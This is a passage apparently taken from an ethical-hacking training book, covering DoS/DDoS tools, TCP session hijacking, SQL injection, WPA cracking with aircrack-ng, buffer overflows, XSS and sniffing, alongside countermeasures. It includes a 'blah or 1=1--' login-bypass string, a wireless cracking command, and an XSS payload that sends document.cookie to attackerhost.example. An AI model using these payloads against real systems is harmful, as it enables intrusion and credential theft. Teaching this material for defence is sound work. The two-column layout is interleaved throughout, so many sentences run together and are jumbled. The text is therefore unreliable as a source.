ticular network service, such as e-mail, to be available or the temporary loss
of all network connectivity and services. A denial of service attack can also ii. DDoS attacks: DDoS (Distributed denial-of-service) attacks can be
destroy programming and files in affected computer systems. In some cases, perpetrated by BOTs and BOTNETS, which are compromised sys-
DoS attacks have forced Web sites accessed by millions of people to tempo- tems that an attacker uses to launch the attack against the end
rarily cease operation. victim. The system or network that has been compromised is a sec-
ondary victim, whereas the DoS and DDoS attacks flood the primary
Attacks can be directed at any network device, including attacks on routing victim or target.
devices and web, electronic mail or Domain Name System servers.
A DoS attack can be perpetrated in a number of ways. The five basic types
of attack are: HOW DDoS ATTACKS WORK
1. Consumption of computational resources, such as bandwidth, disk DDoS is an advanced version of the DoS attack. Like DoS, DDoS also tries to
space or processor time deny access to services running on a system by sending packets to the des-
tination system in a way that the destination system cant handle. The key
2. Disruption of configuration information, such as routing information. of a DDoS attack is that it relays attacks from many different hosts (which
must first be compromised), rather than from a single host like DoS. DDoS is
3. Disruption of state information, such as unsolicited resetting of TCP a large-scale, coordinated attack on a victim system.
sessions.
The services under attack are those of the primary victim; the compromised
4. Disruption of physical network components. systems used to launch the attack are secondary victims. These compromised
5. Obstructing the communication media between the intended users and systems, which send the DDoS to the primary victim, are sometimes called
the victim so that they can no longer communicate adequately. zombies or BOTs. Theyre usually compromised through another attack and
then used to launch an attack on the primary victim at a certain time or un-
A DoS attack may include execution of malware intended to: der certain conditions. It can be difficult to track the source of the attacks
because they originate from several IP addresses.
Max out the processors usage, preventing any work from occurring.
Normally, DDoS consists of three parts:
Trigger errors in the microcode of the machine.
Master/Handler
Trigger errors in the sequencing of instructions, so as to force the com- Slave/secondary victim/zombie/agent/BOT/BOTNET
puter into an unstable state or lock-up.
Victim /primary victim
Exploit errors in the operating system, causing resource starvation
and/or thrashing, i.e. to use up all available facilities so no real work
can be accomplished.
Crash the operating system itself.
One of the most common and efficient DDoS attack methods are based on us- Generally, a BOTNET refers to a group of compromised systems running a
ing hundreds of zombie hosts. Zombies are usually controlled and managed BOT for the purpose of launching a coordinated DDOS attack.
via IRC networks, using so-called botnets.
A BOT is short for web robot and is an automated software program that COMMON FORMS OF DENIAL OF SERVICE ATTACKS
behaves intelligently. Spammers often use BOTs to automate the posting of
spam messages on newsgroups or the sending of emails. BOTs can also be
used as remote attack tools. Most often, BOTs are web software agents that I. Buffer Overflow Attacks
interface with web pages. For example, web crawler (spiders) are web robots
that gather web-page information. The most dangerous BOTs are those that The most common kind of DoS attack is simply to send more traffic to a net-
covertly install themselves on users computers for malicious purposes. work address than the programmers who planned its data buffers anticipated
someone might send. The attacker may be aware that the target system has
Some BOTs communicate with other users of Internet-based services via in- a weakness that can be exploited or the attacker may simply try the attack
stant messaging, Internet Relay Chat (IRC) or another web interface. These in case it might work. A few of the better-known attacks based on the buffer
BOTs allow IRQ users to ask questions in plain English and then formulate a characteristics of a program or system include:
proper response. Such BOTs can often handle many tasks, including report-
ing weather, providing zip-code information, listing sports scores, converting Sending e-mail messages that have attachments with 256-character file
units of measure, such as currency, and so on. names to Netscape and Microsoft mail programs
A SYN flood attack sends TCP connection requests faster than a machine can
process them. The attacker creates a random source address for each pack-
et and sets the SYN flag to request a new connection to the server from the
spoofed IP address. The victim responds to the spoofed IP address and then
waits for the TCP confirmation that never arrives. Consequently, the victims
connection table fills up waiting for replies; after the table is full, all new con-
nections are ignored. Legitimate users are ignored, as well, and cant access
the server. Some of the methods to prevent SYN Flood attacks are SYN cook-
ies, RST cookies, Micro Blocks, and Stack Tweaking.
When a session is initiated between the Transport Control Program (TCP)
client and server in a network, a very small buffer space exists to handle the
usually rapid hand-shaking exchange of messages that sets up the session.
The session-establishing packets include a SYN field that identifies the se-
quence in the message exchange. An attacker can send a number of connec-
In this attack, the perpetrator sends an IP ping (or echo my message back to
tion requests very rapidly and then fail to respond to the reply. This leaves the
me) request to a receiving site The ping packet specifies that it be broadcast
first packet in the buffer so that other, legitimate connection requests cant be
to a number of hosts within the receiving sites local network. The packet also
accommodated. Although the packet in the buffer is dropped after a certain
indicates that the request is from another site, the target site that is to receive
period of time without a reply, the effect of many of these bogus connection
the denial of service. (Sending a packet with someone elses return address in
requests is to make it difficult for legitimate requests for a session to get es-
it is called spoofing the return address.) The result will be lots of ping replies
tablished. In general, this problem depends on the operating system providing
flooding back to the innocent, spoofed host. If the flood is great enough, the
correct settings or allowing the network administrator to tune the size of the
spoofed host will no longer be able to receive or distinguish real traffic.
buffer and the timeout period.
This type of denial of service attack exploits the way that the Internet Protocol Tools for DDos Attack
(IP) requires a packet that is too large for the next router to handle be divided
into fragments. The fragment packet identifies an offset to the beginning of i. Trinoo is a tool which sends User Datagram Protocol (UDP) traffic to
create a DDoS attack. The Trinoo master is a system used to launch a
the first packet that enables the entire packet to be reassembled by the receiv-
DoS attack against one or more target systems. The master instructs
ing system. In the teardrop attack, the attackers IP puts a confusing offset
agent processes (called daemons) on previously compromised systems
value in the second or later fragment. If the receiving operating system does
(secondary victims), to attack one or more IP addresses. This attack
not have a plan for this situation, it can cause the system to crash. occurs for a specified period of time. The Trinoo agent or daemon is
installed on a system that suffers from buffer overflow vulnerability.
WinTrinoo is a Windows version of Trinoo and has the same function-
TOOLS FOR DOS ATTACK ality as Trinoo.
i. Ping of Death is an attack that can cause a system to lock up by send- ii. Shaft is a derivative of the Trinoo tool that uses UDP communication
ing multiple IP packets, which will be too large for the receiving system between masters and agents. Shaft provides statistics on the flood at-
when reassembled. Ping of Death can cause Denial of Service to clients tack that attackers can use to know when the victim system is shut
trying to access the server that has been a victim of the attack. down; Shaft provides UDP, ICMP, and TCP flooding attack options.
ii. SSPing is a program that sends several large fragmented, Internet Con- iii. Tribal Flood Network (TFN) allows an attacker to use both band-
trol Message Protocol (ICMP) data packets to a target system. This will width-depletion and resource depletion attacks. TFN does UDP and
cause the computer receiving the data packets to freeze when it tries to ICMP flooding as well as TCP SYN and smurf attacks. TFN2K is based
reassemble the fragments. A LAND attack sends a packet to a system on TFN, with features designed specifically to make TFN2K traffic diffi-
where the source IP is set to match the target systems IP address. As cult to recognize and filter. It remotely executes commands, hides the
a result, the system attempts to reply to itself, causing the system to source of the attack using IP address spoofing and uses multiple trans-
create a loop which will tie up system resources and eventually may port protocols including UDP, TCP, and ICMP.
crash the OS.
iv. Stacheldraht is similar to TFN and includes ICMP flood, UDP flood,
iii. CPU Hog is a DoS attack tool that acquires the CPU resources on a tar- and TCP SYN attack options. It also provides a secure Telnet connection
get system, making it unavailable or slow to the user. (using symmetric key encryption) between the attacker and the agent
iv. WinNuke is a program that looks for a target system with port 139 open systems (secondary victims). This prevents system administrators from
and sends junk IP traffic to the system on that port. This attack is also intercepting and identifying this traffic.
known as an Out of Bounds (OOB) attack and causes the IP stack to v. Mstream uses spoofed TCP packets with the ACK flag set to attack a
become overloaded and eventually the system crashes. target. It consists of a handler and an agent portion, but access to the
v. Jolt2 is a DoS tool that sends a large number of fragmented IP packets handler is password protected.
to a Windows target. These tie up system resources and eventually lock DOS/DDOS COUNTERMEASURES
up the system; Jolt2 isnt Windows specific; many Cisco routers and
other gateways may be vulnerable to the Jolt2 attack. There are several ways to detect, halt or prevent DoS attacks. The following
are common security features available:
Case Study: Stuxnet is a highly sophisticated computer worm. Discovered Hackers can use two types of session hijacking:
in June 2010, Stuxnet initially spreads via Microsoft Windows and targets
Siemens industrial software and equipment. The worm initially spreads in- Active and Passive
discriminately, but includes a highly specialized malware payload that is de-
The primary difference between active and passive hijacking is the hackers
signed to target only Siemens supervisory control and data acquisition (SCA-
level of involvement in the session.
DA) systems that are configured to control and monitor specific industrial
processes. Stuxnet infects PLCs by subverting the software application that is In an active attack, an attacker finds an active session and takes over the
used to reprogram these devices. Because of this, PLCs deny to give services session by using tools that predict the next sequence number used in the TCP
require for specific processes; this means it is a Denial of Service (DoS) attack. session.
In a passive attack, an attacker hijacks a session and then watches and re-
cords all the traffic that is being sent by the legitimate user.
Session Hijacking
Passive session hijacking is really no more than sniffing. It gathers informa-
Introduction tion such as passwords and then uses that information to authenticate as a
separate session.
In Session Hijacking, a hacker takes control of a user session after the user
has successfully authenticated with a server. Session hijacking involves an
TCP - Connection Oriented Protocol
attack identifying the current session IDs of a client/server communication
and taking over the clients session. Session hijacking is made possible by The Sequence and Acknowledgement fields are two of the many features that
tools that perform sequence-number prediction. Spoofing attacks are differ- help us classify TCP as a connection oriented protocol. As such, when data is
ent from hijacking attacks. In a spoofing attack, the hacker performs sniffing sent through a TCP connection, they help the remote hosts keep track of the
and listens to traffic as it is passed along the network from sender to receiver. connection and ensure that no packet has been lost on the way to its desti-
The hacker then uses the information gathered to spoof or uses an address of nation.
a legitimate system.
TCP utilizes positive acknowledgments, timeouts and retransmissions to en-
Hijacking involves actively taking another user offline to perform the attack. sure error-free, sequenced delivery of user data. If the retransmission timer
The attacker relies on the legitimate user to make a connection and authen- expires before an acknowledgment is received, data is retransmitted starting
ticate. After that, the attacker takes over the session and the valid users ses- at the byte after the last acknowledged byte in the stream.
sion is disconnected.
Sequence numbers are generated differently on each operating system. Using
Session hijacking involves the following three steps to perpetuate an attack:
special algorithms (and sometimes weak ones), an operating system will gen-
erate these numbers, which are used to track the packets sent or received and
since both Sequence and Acknowledgement fields are 32bit, there are 2^32=
4,294,967,296 possibilities of generating a different number!
At the same time, the attacker will launch a flood attack to the host that ini-
tiated the TCP connection, keeping it busy so it wont send any packets to the
remote host with which it tried to initiate the connection.
The fake packet sent to the Internet Banking Server will contain valid head-
ers, meaning it will seem like it originated from Host As IP Address and will
be sent to the correct port the Internet Banking Server is listening to.
In most cases, hackers will first sample TCP ISNs from the host victim, look-
ing for patterns in the initial sequence numbers chosen by TCP implementa-
tions when responding to a connection request. Once a pattern is found, its
only a matter of minutes for connections initiated by the host to be hijacked.
To help us understand how these newly introduced fields are used to track a
As described, the hacker must find the ISN algorithm by sampling the Ini- connections packets, an example is given below.
tial Sequence Numbers used in all new connections by Host A. Once this is
In this example, a valid Host A initiates a connection with a Web Server (Gate-
complete and the hacker knows the algorithm, they are ready to initiate their
way Server) on the Internet to download some pages.
attack.
Before we proceed, we should note that you will come across the terms ACK
flag or SYN flag; these terms should not be confused with the Sequence and
Acknowledgment numbers as they are different fields within the TCP header.
Step2 The screen shot below is to help you understand.
You can see the Sequence number and Acknowledgement number fields, fol-
lowed by the TCP Flags to which were referring.
To keep things simple, remember that when talking about Sequence and Ac-
knowledgement numbers, we are referring to the 1st selected section, while
SYN and ACK flags refer to 2nd selected section.
The next diagram shows the establishment of a new connection to a web serv-
In short, Host A is telling the Gateway Server the following: Id like to initi-
ate a new connection with you. My Sequence number is 1293906975.
Step 2
To make sure we understand what is happening here, we will analyse the ex- The Gateway Server receives Host As request and generates a reply contain-
ample step by step. ing its own generated ISN, that is 3455719727 in this example, and the next
Sequence number it is expecting from Host A which is 1293906976. The Serv-
er also has the SYN & ACK flags set, acknowledging the previous packet it
received and informing Host A of its own Sequence number.
In this step, Host A generates a packet with some data and sends it to the
Step 3 Gateway Server. The data tells the Gateway Server which webpage it would
like sent.
Host A receives the reply and now knows Gateways sequence number. It
generates another packet to complete the connection. This packet has the
ACK flag set and also contains the sequence number that it expects the
Gateway Server to use next, that is 3455719728.
Note that the sequence number of the segment in line 4 is the same as in line
3 because the ACK does not occupy sequence number space.
So keep in mind that any packets generated, which are simply acknowledg-
In short, Host A is telling the Gateway Server the following: ments (in other words, have only the ACK flag set and contain no data) to
previously received packets, never increment the sequence number.
I acknowledge your last packet. This packets sequence number is
1293906976, which is what youre expecting. Ill also be expecting the next There are other important roles that the Sequence and Acknowledgement
packet you send me to have a sequence number of 3455719728. numbers have during the communication of two hosts. Because segments (or
packets) travel in IP datagram, they can be lost or delivered out of order, so
Now, someone might be expecting the next packet to be sent from the Gate-
the receiver uses the sequence numbers to reorder the segments. The receiver
way Server, but this is not the case. You might recall that Host A initiated the
collects the data from arriving segments and reconstructs an exact copy of the
connection because it wanted to download a web page from the Gateway Serv-
stream being sent.
er. Since the 3-way TCP handshake has been completed, a virtual connection
between the two now exists and the Gateway Server is ready to listen to Host If we have a closer look at the diagram above, we notice that the TCP Ac-
As request. knowledgement number specifies the sequence number of the next segment
expected by the receiver.
With this in mind, its now time for Host A to ask for the webpage it wanted,
which brings us to step number 4. Hacking tools used to perform session hijacking do sequence number predic-
tion. To successfully perform a TCP sequence prediction attack, the hacker
must sniff the traffic between two systems. Next, the hacker or the hacking
tool must successfully guess the SN or locate an ISN to calculate the next se-
quence number. This process can be more difficult than it sounds, because
packets travel very fast. When the hacker is unable to sniff the connection,
it becomes much more difficult to guess the next SN. For this reason, most
session-hijacking tools include features to permit sniffing the packets to de-
termine the SNs. Hackers generate packets using a spoofed IP address of the
system that had a session with the target system. The hacking tools issue
packets with the SNs that the target system is expecting. But the hackers
Online banking and e-commerce sites are frequently the target of MITM at-
tacks as they can capture login credentials and other sensitive data even if the
site encrypts communications using SSL/TLS.
MITM is really a difficult type to tackle and hence should be taken seriously
by IT management. It can result in data theft causing severe reputational
and monetary losses to corporate firms. As a bottom-line, having a correctly
defined security perimeter defence design, server and network components
hardening, implementing robust patch management system and following
best security practices can help fix MITM attacks. Since this attack may not
be visible, being vigilant in terms of network problems and performance al-
ways helps detect it, before a data theft can occur.
Countermeasures Although securing a web server can be a daunting operation and requires
specialist expertise, it is not an impossible task. Long hours of research and
Hacking of Web Server an overdose of coffee and take away food can save you from long nights at the
Hardening of Web Server office, headaches and data breaches in the future. Irrelevant of which web
server software and operating system you are running, an out of the box con-
figuration is usually insecure. Therefore one must take some necessary steps
in order to increase web server security.
Error Message Interception: 8. Acunetix Web Scanner: Acunetix launches all the Google hacking
database queries onto the crawled content of website.
Information in error messages is often rich with site-specific informa-
tion which can help to determine the technologies used in the web ap-
plications. 6 Countermeasures:
Threats Countermeasure
Web Services Attack:
Cross-Site Script- Perform thorough input validation, cookie,
Web services allow process-to-process communication between web ap- ing query string, form fields and hidden field.
plications. An attacker can inject a malicious script into a web service
that will enable disclosure and modification of the data. Adopt Security Policy.
SQL Injection Perform thorough input validation. Your appli-
cation should validate its input prior to sending
Zero-Day Attacks: a request to the database.
Zero-day attacks take place between the time vulnerability is discov- Use parameterized stored procedures for data-
ered by a researcher or attacker and the time that the vendor issues a base access to ensure that input strings are not
treated as executable statements. If you can-
corrective patch. This vulnerability is the launching point for further not use stored procedures, use SQL parameters
exploitation of the web application and environment. when you build SQL commands.
Use least privileged accounts to connect to the
database.
5 Hacking Tools: Command Injection Use language-specific libraries that avoid prob-
lems due to shell commands.
1. Instant Source: Instant Source tool allows us to see and edit the Validate the data to prevent any malicious con-
HTML source code of the web pages. It can be executed from Internet. tent.
2. Wget: Wget is a command line tool for Windows and UNIX. Wget will Structure requests so that all supplied param-
eters are treated as data, rather than poten-
download the contents of website. It works non-interactively in the tially executable content.
background after the user logs off. Cookies/Session Use an encrypted communication channel pro-
Poisoning vided by SSL whenever an authentication cookie
3. Websleuth: Websleuth is a tool that combines spidering with the is transmitted.
Use a cookie timeout to a value that forces au-
capability of a personal proxy.
thentication after a relatively short time interval.
Although this doesnt prevent replay attacks, it re-
4. Blackwidow: Black Widow is a website scanner, a site mapping tool, duces the time interval in which the attacker can
replay a request without being forced to re-au-
a site ripper, a site mirroring tool and an offline browser program. thenticate because the session has timed out.
Buffer Overflow Validate input length in forms
5. WindowBomb: An email sent with this html code attached will cre-
Check bounds and maintain extra care when
ate pop-up windows until the pcs memory gets exhausted. using loops to copy data
Apply the most current patches, hotfixes and service packs to the oper- A SQL injection attack consists of insertion or injection of a SQL query
ating system and web server software. via the input data from the client to the application. A successful SQL
injection exploit can read sensitive data from the database, modify database
Perform bounds-checking on input for web forms and query strings to data (Insert/Update/Delete), execute administration operations on the data-
prevent buffer overflow or malicious input attacks. base (such as shutdown the DBMS), recover the content of a given file present
Disable remote administration. on the DBMS file system and in some cases issue commands to the operat-
ing system. SQL injection attacks are a type of injection attack in which SQL
Use a script to map unused file extensions to a 404 (File not found) commands are injected into data-plane input in order to effect the execution
error message. of predefined SQL commands.
Enable auditing and logging. SQL injection is a code injection technique that exploits a security vul-
nerability occurring in the database layer of an application. The vulnera-
Use a firewall between the web server and the Internet and allow only
bility is present when user input is either incorrectly filtered for string literal
necessary ports (such as 80 and 443) through the firewall.
escape characters embedded in SQL statements or user input is not strongly
Replace the GET with POST method when sending data to a web server. typed and thereby unexpectedly executed.
SQL injection attacks allow attackers to spoof identity, tamper with existing
data, cause repudiation issues such as voiding transactions or changing bal-
ances, allow the complete disclosure of all data on the system, destroy the
data or make it otherwise unavailable, and become administrators of the da-
tabase server.
SQL Injection is very common with PHP and ASP applications due to the
prevalence of older functional interfaces. Due to the nature of programmatic
interfaces available, J2EE and ASP.NET applications are less likely to have
SQL injection is an attack in which malicious code is inserted into strings that easily exploited SQL injections.
are later passed to an instance of SQL Server for parsing and execution. Any
procedure that constructs SQL statements should be reviewed for injection Not preventing SQL Injection attacks leaves your business at great risk of:
vulnerabilities because SQL Server will execute all syntactically valid queries Changes to or deletion of highly sensitive business information.
that it receives. Even parameterized data can be manipulated by a skilled and
determined attacker. Customer information such as social security numbers, addresses, and
credit card numbers being stolen
The primary form of SQL injection consists of direct insertion of code into us-
er-input variables that are concatenated with SQL commands and executed. Financial losses
A less direct attack injects malicious code into strings that are destined for
storage in a table or as metadata. When the stored strings are subsequently Brand damage
concatenated into a dynamic SQL command, the malicious code is executed.
Theft of intellectual property
The injection process works by prematurely terminating a text string and
appending a new command. Because the inserted command may have addi- Legal liability and fines
tional strings appended to it before it is executed, the malefactor terminates
the injected string with a comment mark --. Subsequent text is ignored at
execution time. SQL Injection Query
During a SQL injection attack, malicious code is inserted into a web form field SQL Injection is a hacking technique which attempts to pass SQL commands
or the websites code to make a system execute a command shell or other ar- or statements through a web application for execution by the backend data-
bitrary commands. Just as a legitimate user enters queries and additions to base. If not sanitized properly, web applications may result in SQL Injection
the SQL database via a web form, the hacker can insert commands to the SQL attacks that allow hackers to view information from the database and/or even
server through the same web form field. wipe it out.
SQL Injection is one of the many web attack mechanisms used by hackers to Such features as login pages, support and product request forms, feedback
steal data from organizations. It is perhaps one of the most common applica- forms, search pages, shopping carts and the general delivery of dynamic con-
tion layer attack techniques used today. It is the type of attack that takes tent, shape modern websites and provide businesses with the means neces-
advantage of improper coding of your web applications that allows hacker to sary to communicate with prospects and customers. These website features
inject SQL commands into say a login form to allow them to gain access to the are all susceptible to SQL Injection attacks which arise because the fields
data held within your database. available for user input allow SQL statements to pass through and query the
database directly.
For example, an arbitrary command from a hacker might open a command
prompt or display a table from the database. A database table may contain Before launching a SQL injection attack, the hacker determines whether the
personal information such as credit card numbers, social security numbers configuration of the database and related tables and variables is vulnerable.
or passwords. SQL servers are very common database servers and used by The steps to determine the SQL servers vulnerability are as follows:
Before a web site can be compromised, an attacker needs to find applications Password::blah or 1=1--
that are vulnerable to SQL injection using queries to learn the SQL applica-
tion methods and its response mechanisms. These commands and similar variations may allow the bypassing of a login
depending on the structure of the database. When entered in a form field, the
The attacker has two ways to identify SQL injection vulnerabilities: commands may return many rows in a table or even an entire database table
because the SQL server is interpreting the terms literally. The double dashes
o Error messages: the attacker constructs the correct SQL syntax
near the end of the command tell SQL to ignore the rest of the command as
based on errors messages propagated from the SQL server via the
a comment.
front-end web application. Using the errors received, the hacker
learns the internal SQL database structure and how to attack by in- The vulnerability is present when user input is either incorrectly filtered for
jecting SQL queries via the Web application parameters. string literal escape characters embedded in SQL statements or user input is
not strongly typed and thereby unexpectedly executed. Web pages which ac-
o Blindfolded Injection: this technique is utilized by hackers in situ- cept parameters from user and make SQL query to the database are targeted
ations where no error messages or response content is returned from
the database. In these cases, the attacker lacks the ability to learn
the backend SQL queries in order to balance the SQL injection query.
In the lack of database content output within the Web application,
the attacker is also challenged with finding a new way of retrieving
the data.
Take a simple login page where a legitimate user would enter his username
and password combination to enter a secure area to view his personal details
or upload his comments in a forum.
When the legitimate user submits his details, an SQL query is generated from
these details and submitted to the database for verification. If valid, the user
.
Signature Evasion
Many SQL injections will be somewhat blocked by intrusion detection
and intrusion prevention systems using signature detection rules. Com-
mon programs that detect SQL injections are mod_security for Apache SQL Injection flaws are introduced when software developers create dynamic
and Snort. These programs arent fool proof and as such, the signatures database queries that include user supplied input. To avoid SQL injection
can be evaded. flaws is simple. Developers need to either:
CASE STUDY: Royal Navy website attacked by Romanian hacker Hes obviously more of a show-off type of hacker rather than malicious, said
Mr Cluley.
But if hed wanted to he could have inserted links which would have tak-
en the websites readers to malicious sites. Tinkode has apparently carried
out 52 separate defacements of websites in the last 12 months, according to
website ZoneH. Targets included everything from small businesses to adult
websites. He has also uncovered vulnerabilities in high-profile sites such as
YouTube.
The Royal Navy website has been suspended while security teams investigate
The Royal Navys website has been hacked by a suspected Romanian hacker
known as TinKode.
The hacker gained access to the website on 5 November using a common at- US prosecutors have charged a man with stealing data relating to 130 mil-
tack method known as SQL injection. lion credit and debit cards.
TinKode published details of the information he recovered, which included Officials say it is the biggest case of identity theft in American history. They
user names and passwords of the sites administrators. say Albert Gonzalez, 28, and two un-named Russian co-conspirators hacked
Internet and telephone transactions using credit cards were most vulnera- Provide better service.
ble, he said, though added it was a failure of corporations, not customers. 3. Better access to information
Michelle Whiteman, from anti-fraud organization Financial Fraud Action UK,
said that consumers must check their bank statements regularly and flag Connect hard-to-reach areas.
up any suspicious transactions to their bank. She said that online, tele-
Improve your process.
phone and mail order fraud were on the increase, along with fraud commit-
ted abroad on UK cards, according to figures released in March. 4. Easy network expansion
Add users quickly.
Hacking Wireless Network Expand your network cost effectively.
Introduction: 5. Enhanced guest access
A wireless network is any type of network that uses wireless data connec- Give secure network access to family & friends.
tions for connecting network nodes. In simple terms, any communication/
Offer a value added service
electronic devices that are not connected by cables of any kind.
The basis of wireless systems are radio frequency waves.
Advantages:
Home or Small businesses can experience many benefits from a wireless
network, including:
onvenience: Access your network resources from any location within
C
your wireless networks coverage area or from any Wi-Fi hotspot.
obility: Youre no longer tied to your desk, as you were with a wired
M
connection. You and your employees can go online in conference room
meetings, for example.
roductivity: Wireless access to the Internet and to your companys
P
key applications and resources helps your staff get the job done and
encourages collaboration.
To see a list of wireless networks around us. Once we will see the Raj = SSID
then we can, hit Ctrl+C to stop the list. Highlight the row pertaining to the
network of interest i.e. Raj and we can note two things its MAC address its
12 characters based on hex and its channel no (in the column labelled CH).
Where (Auto) is your networks channel, and (Raj) is the SSID we just cop-
ied to clipboard. We can use the Shift+Insert key combination to paste it
into the command. Enter anything descriptive for (file name). I chose Raj,
which is the networks name we are cracking.
Once we collect enough data packets, its the moment of truth. Launch a an-
other Console/terminal and run the following command to crack the pass- An intrusion detection system (IDS) inspects all inbound and outbound net-
word from collected data. work activity and identifies suspicious patterns that may indicate a network
or system attack from someone attempting to break into or compromise a
system.
10) aircrack-ng -b (Raj) (Raj.cap). Here the filename should be whatever An IDS is also referred as packet-sniffer, which intercepts packets travel-
we entered above for (Raj.cap). You can browse to Home directory to see it; ling along various communication mediums and protocols, usually TCP/IP.
its the one with .cap as the extension.
Types of IDS
There are two main types of systems in which IDS can be used: Network,
Host and Log File Monitoring.
NIDS
Network Intrusion Detection Systems are placed at a strategic point or
points within the network to monitor traffic to and from all devices on the
network. Ideally you would scan all inbound and outbound traffic; however,
doing so might create a bottleneck that would impair the overall speed of the
network.
If we didnt get enough data, aircrack will fail and tell you to try again with
more.
2. Firewalking:
Firewalking is an open source mapping software package that is used to deter-
mine the protocols that can pass through a router or firewall. It accomplishes
this test by setting the time to live (TTL) field of the IP header of TCP or UDP
packets to one hop greater than that of the target firewall. Then, the packets are
sent to the gateway (firewall). At each hop, the TTL is decremented until it be-
comes zero. If they are allowed through the gateway, the packets are forwarded
to the next hop. At this point, TTL becomes zero, the packet is discarded, and
a TTL exceeded in transit message is returned to the firewalking host. This
message informs the firewalking host that the packet was allowed through the
Firewalls are tools that can be used to enhance the security of computers firewall. On the other hand, if the packets are blocked, they are dropped and no
connected to a network, such as a LAN or the Internet. A firewall separates message is returned. Using this method, access information on the firewall and
a computer from the Internet, inspecting packets of data as they arrive at open ports can be determined if successive probe packets are sent.
either side of the firewall inbound to or outbound from, your computer to
determine whether it should be allowed to pass or be blocked. Thus this technique is used for testing the vulnerability of a firewall and
mapping the routers of network that are behind firewall.
Firewalls generally are controlled by a firewall policy, which is a set of rules
that defines the set of communities that can or cannot talk to each other.
Whatever make or model you buy, firewall policies can generally be ex- 3. Banner Grabbing:
pressed as a simple set of rules that specify the to and the from: Banner grabbing is a form of enumeration that obtains banner information
ALLOW <my-address any-port> to <outside-address mail port> transmitted by services such as Telnet and FTP. It is a simple method of OS
detection that helps in detecting services run by firewalls.
ALLOW <any-inside address port> to <any outside-address Web port>
DENY <anyaddress port> to <any address Web port>
Firewall Evasion techniques
The last line is the logical implementation of the paradigm Deny what is
not specifically allowed and is thoroughly good practice. Whether gathering information or launching an attack, it is generally expect-
ed that the attacker avoids detection. Techniques used are:
Firewalls have a set of rules that determines if the packet should be allowed
entry. The firewall is located at the point of entry where data attempts to
enter the computer from the Internet. But different firewalls have different
methods of inspecting packets for acceptance or rejection.
Countermeasures:
Countermeasures for corporate end-users or home pc users:
The desktop Anti-Virus (AV) signature must be kept up-to-date.
Dont open attachments unless you are sure of its authenticity.
Make sure the system is updated with the latest security patches.
If possible, install a desktop based firewall
lways do a virus scan for any external drives when attached to the
A
system
Never download any free tool if you are not sure of its authenticity.
Always stay tuned with latest virus alerts or outbreaks.
Countermeasures for corporate security administrators:
The AV gateway must have the entire signature up-to-date to be
pushed into its client PCs.
A content filter at the SMTP gateway is always advisable.
esktops attached to the corporate network must be installed with
D
latest security patches.
here must be a patch management system like (SMS or SUS) in place
T
and the systems must be updated with the latest security patches.
onduct anti-virus schedule scan on all the desktops attached to the
C
corporate network
IDS if installed would be a great device to keep you alerted about any
attack in the network but it would be really helpful if an IPS can be
afforded.
Objective
Introductions
Buffer means temporary data storage area. Buffers are data storage areas,
Stack & Heap
which generally hold a predefined amount of finite data.
Reasons for Buffer Overflow Attack
Types of Overflow
Buffer Overflow Threats What Is a Stack?
Buffer Overflow and Web Applications A stack is an abstract data type frequently used in computer science. A
Countermeasures stack of objects has the property that the last object placed on the stack will
be the first object removed. This property is commonly referred to as last in,
On Oct.19, 2000, hundreds of flights were grounded or delayed because of first out queue or a LIFO.
a software problem in the Los Angeles air traffic control system. The cause
was attributed to a controller typing 9 characters (instead of five) of flight
description data, resulting in the buffer overflow.
A buffer overflow occurs when a program or process tries to store more
data in a buffer (temporary data storage area) than it was intended to
hold. Since buffers are created to contain a finite amount of data, the extra
information - which has to go somewhere - can overflow into adjacent buf-
fers, corrupting or overwriting the valid data held in them. Although it may
occur accidentally through programming error, buffer overflow is an increas-
ingly common type of security attack on data integrity. In buffer overflow
attacks, the extra data may contain codes designed to trigger specific
actions, in effect sending new instructions to the attacked computer
that could, for example, damage the users files, change data, or disclose
confidential information.
Several operations are defined on stacks. Two of the most important are
PUSH and POP. PUSH adds an element at the top of the stack. POP, in con-
trast, reduces the stack size by one by removing the last element at the top
of the stack.
The stack and the heap are storage locations for user-supplied variables
within a running program. Variables are stored in the stack or heap un-
til the program needs them. Stacks are static locations of memory address
For a buffer overrun attack to be possible and be successful, the following char buf[24];
events must occur and in this order: printf(Please enter your name and press <Enter>\n);
1. A buffer overflow vulnerability must be found, discovered or identified. gets(buf);
2. The size of the buffer must be determined. ...
3. The attacker must be able to control the data written into the buffer. }
4. here must be security sensitive variables or executable program in-
T
structions stored below the buffer in memory. However, the programmer uses the function gets() which is inherently un-
5. argeted executable program instructions must be replaced with other
T safe because it blindly copies all input from STDIN to the buffer without
executable instructions. restricting how much is copied. This allows the user to provide a string that
Example Buffer Overflow is larger than the buffer size, resulting in an overflow condition.
Example 1
char last_name[20]; PREVENTION
document.location= http://attackerhost.example/cgi-
Decoded example of Cookie Stealing URL:
bin/cookiesteal.cgi?+document.cookie
http://portal.example/index.php?sessionid=12312312&
</SCRIPT>
username=<script>document.location=http://attackerhost.example/cgi-
Due to the fact that the attack payload is stored on the server side, this form bin/cookiesteal.cgi?+document.cookie</script>
of xss attack is persistent.
Input Validation
When accepting user input, you should assume that all user input is mali-
cious. A good strategy is to implement an input validation/sanitation mod-
ule of un-trusted user data from HTTP requests in the form of URL param-
eters, HTML form fields, HTTP headers, or HTTP cookies. In addition, data
that comes from databases, backend web services, and other data sources
may also contain malicious user input and should be considered un-trust-
ed as well.
Output Escaping
Sniffers are used to capture traffic sent between two systems. Depending on
Output escaping is another important measure against XSS attacks. Output
how the sniffer is used and the security measures in place, a hacker can use
escaping is a technique to make sure that when reflected to the browser,
a sniffer to discover usernames, passwords and other confidential informa-
special characters in user input such as <script> will be interpreted by the
tion transmitted on the network. Several hacking attacks and various hack-
browser as regular html content but not part of the JavaScript code.
ing tools require the use of a sniffer to obtain important information sent
from the target system. This chapter will describe how sniffers work and
identify the most common sniffer hacking tools.
SNIFFERS
Packet sniffing is a form of wire-tap applied to computer networks instead
Objective of phone networks. It came into vogue with Ethernet, which is known as a
Introduction of Sniffing shared medium network. This means that traffic on a segment passes by
all hosts attached to that segment. Ethernet cards have a filter that prevents
Sniffing Threats
the host machine from seeing traffic addressed to other stations. Sniffing
Types of Sniffing programs turn off the filter and thus see everyones traffic.
Sniffing Attacks Todays networks are increasingly employing switch technology, prevent-
Sniffing Tools ing this technique from being as successful as in the past. It is still useful,
Countermeasures though, as it is becoming increasingly easy to install remote sniffing pro-
grams on servers and routers, through which a lot of traffic flows.
Not only can sniffing read information that helps break into a system, it is an
intrusion by itself because it reads the very files the intruder is interested in.
3. TYPES OF SNIFFING
A. Passive Sniffing
